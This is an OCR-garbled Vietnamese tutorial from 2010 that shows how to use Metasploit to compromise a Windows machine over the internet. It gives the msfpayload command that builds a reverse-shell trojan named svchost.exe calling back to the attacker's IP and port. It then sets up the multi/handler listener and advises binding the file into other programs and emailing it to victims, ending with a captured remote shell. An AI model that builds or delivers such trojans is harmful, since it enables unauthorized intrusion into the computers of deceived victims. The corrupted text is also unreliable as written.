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Metasploit over the internet (Basic)

l. Y tuéng:

Cé nhiéu cach dé dung Metasploit xam nhap mot may tinh. Dién hinh cé thé dung
Metasploit d€ khai thac 16i mét dich vu nao dé (vi du 16i DNS hodc céc 16i tran bd dém ...).
Cbé mo6t sé ban hoi toi tai sao c6 thé khai thac 16i DNS qua mang LAN thi dugc nhung khi
khai thac théng qua internet thi khong dugc. Cau tra 10i bdi vi 16i DNS hoac cac 16i tuong tu
nhu khai thdc mét dich vu nao dé thi it nhat dich vu dé phai théa diéu kién la dich vu dé
phai duoc public ra ngoai va khong bi chan bdi Firewall (& day ching ta néi dén ca 2 loai la
network firewall va local firewall) thi méi cé thé dung shell/bind port dé€ khai thac.

Vay dé khai thac qua internet ta sé x&m nhap thé ndo? O day sé cé 2 céch co ban
nhu sau:

Céch 1: DUng bind port nhung dung dang nay cé mot khuyét diém 16n la may nan
nhan phai dugc public dich vu ra ngoai internet va may tinh khéng dung firewall. C6 dbi
khi ching ta gap truong hop cé thé khai thac bind port thanh cong nhung khoéng thé két
ndi shell dugc béi vi sau khi khai thac thanh cong nhung ip bén trong la ip local nén shell
khong thé tim thay ip cGa may bén trong dé nén IUc nay shell khong thé két néi vao bén
trong.

Cach 2: Dung reverse_tcp dé nan nhan tu két n6i vé server (server & day la mot
attacker). O cach nay ta c6 uu diém I3 ta s dung nhu mét trojan dé két noi vé may cha

khéng can nan nhan NAT port ra ngoai va c6 thé bypass ca firewall (nan nhan tu gui két
noi vé server).

Y tudng cho viéc khai thac qua Internet:

O bai viét nay ching ta sé dung dung véi payload shell/reverse_tcp dé c6 thé
bypass firewall va dung metasploit d€ tao 1 con trojan, khi bi nhiém phai sé tu két noi vé
server.

II. Chuan bi:

1/ Phia may tan cbng (attacker) sit dung windows hodc linux cé cai Metasploit
Framework cé thé tai vé tai: http://www.metasploit.com/framework/download/ .

2/ o) may attacker ta NAT port 4455 vé ip may minh. Dlung port 4455 dé két noi shell
vé may minh. O day cac ban cé thé dung port khac. Hodc cé thé setup 1 network
firewall chi mé port 80 va 25. Ta sé th& dung port 25 dé€ két n6i shell vé server thong
qua port 25 nay dé thit xem c6 bypass firewall dugc khéng.
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3/ Chudn bi IP mat ngoai ctia minh. Bang cach vao dia chi: ip2location.com hoac
ipchicken.com dé€ xem IP mat ngoai cGa minh dé thiét dat cho shell c6 thé két néi vé minh
theo ip va port 4455. (hinh minh hoa cho thay IP mat ngoai cla tbi la 123.20.95.47)
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Vay la phan chuan bi da xong, bay gid ching ta ti€n hanh khai thac. Viéc khai thac
sé bao gom 4 budc nhu sau:

1. Xay dung shell.

2. SU dung module gilr két noi.

3. Cho két ndi tu shell.

4. Du cho victim thuc thi file shell.

Ill. Khai thac:
1. Build file shell:

Dau tién ban tao file thuc thi (shell) d€ du nan nhan két néi vé may chi bang 1énh
msfpayload dat file shell trong dudng dan /tmp/svchost.exe (hodc cé thé dat Ia
C:\shell\svchost.exe néu dung windows). Theo CU phap nhu sau:

msfpayload windows/shell reverse tcp LHOST=123.20.95.47 LPORT=4455 X > /tmp/svchost.exe
Trong d6 cac thong so6 thiét [ap nhu sau:

LHOST=123.20.95.47 sé thay bang IP mat ngoai cua ban lady tU trang
ipchicken.com

LPORT=4455 sé la port clia ban.

svchost.exe la tén file sé build ra. C6 thé nhap vao tén khac tuy v.
Hinh minh hoa:
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File Edit View Terminal Help

~/Desktop$ msfpayload windows/shell reverse tcp L|8
HOST=123.20.95.47 LPORT=4455 X > svchost.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/shell reverse tcp

Length: 314

Options: LHOST=123.208.95.47,LPORT=4455

I - /Desktop$ [ ]

(Hinh minh hoa da tao két ndi shell thanh céng)

2. SU dung module multi/handler dé€ gi(r két noi:
Chay msfconsole sau dé dung Iénh sau:

use exploit/multi/handler

Hinh minh hoa
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589 exploits - 388 auxiliary
224 payloads - 27 encoders - 8 nops
svn r1@312 updated today isﬂlﬂ.99.13]
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exploit/multi/handler [

3. Lang nghe két néi tir shell:
Dung Iénh set payload. Lan luot thuc hién 5 1énh nhu sau:

=]

set PAYLOAD windows/shell/reverse_tcp
show options

set LHOST=123.20.95.47

set LPORT=4455

exploit

au A WN

Nhirng dong ché in dam ban thay d6i theo dliing thong sé cta ban. Sau khi thuc hién
lénh exploit ban sé thay giong nhu hinh sau:
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File Edit View Terminal Help

Payload options (windows/shell reverse tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique: seh, thread, process
LHOST 123.20.95.47 yes The listen address
LPORT 4455 yes The listen port

Exploit target:

Id MName

@ Wildcard Target

msf exploit( ) > exploit
Handler failed to bind to 123.28.95.47:4455

[#] Started reverse handler om 6.0.0.0:4455

[#] Starting the payload handler...

4. Du cho victim thuc thi file:

Pén day cé 1€ la budc khd nhat dé thuc hién. DE thuc hién viéc nay ban cé thé
nhing shell cia minh vao cac chuong trinh khac bang cach vao google tim chuang trinh
véi tir khda “combine file exe” hoac “bind file”. Hodc ban cé thé vao trang nay dé xem
huéng dan: http://www.online-tech-tips.com/cool-websites/combine-multiple-executables/

Tiép dén gui email cho nan nhan véi file nay. Hehe sau d6é ng6i nham nhi mét
ly cafe dé xem c6 bao nhiéu nan nhan “dinh chudng”.

Gia st ¢ day c6 1 em dinh chudéng, khi nan nhan “dinh chiéu” thi lap tdc shell
sé két n6i vé may minh (hinh minh hoa) va attacker c6 thé thuc hién cac Iénh nhu mad
Remote Desktop, add user hodc tao password cho administrator dé lan sau remote vao,
dung ftp dé€ upload file ... cé khéi coéng viéc dé thuc hién, nhung dé la cong viéc clha ban
nhé.
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EXITFUNC process ye Exit technique: seh, thread, process
LHOST 123.20.95.47 The listen address
LPORT 4455 ye The listen port

Exploit target:

Id MName

8@ Wildcard Target

msf exploit( ) > exploit

Handler failed to bind to 123.208.95.47:4455
[#] Started reverse handler on 6.0.0.08:4455
[#] Starting the payload handler...
[#] Command shell session 2 opened (192.168.1.199:4455 -> 58.186.235.169:26634)
at 2010-89-15 13:27:18 -04600

Microsoft Windows XP [Version 5.1.2688]
(C) Copyright 1985-2801 Microsoft Corp.

C:\Documents and Settings\Welcome\My Documents>f]

Game over.

IV. Két luan:

Qua bai viét ching ta sé thdy mét trong s6 ky thuat cda hacking co ban. Con muén
ngan “cam bay” xung quanh ta quan trong nhat la véi nhitng dit liéu nhay cdm. Vi vay chi
c6 mot 16i khuyén duy nhat: khong nén chay céc file khong ré nguon goc.

Special Thanks to Mr. Nguyén Hé Phi Long.

Alex Hien - v.1 - 09/19/2010
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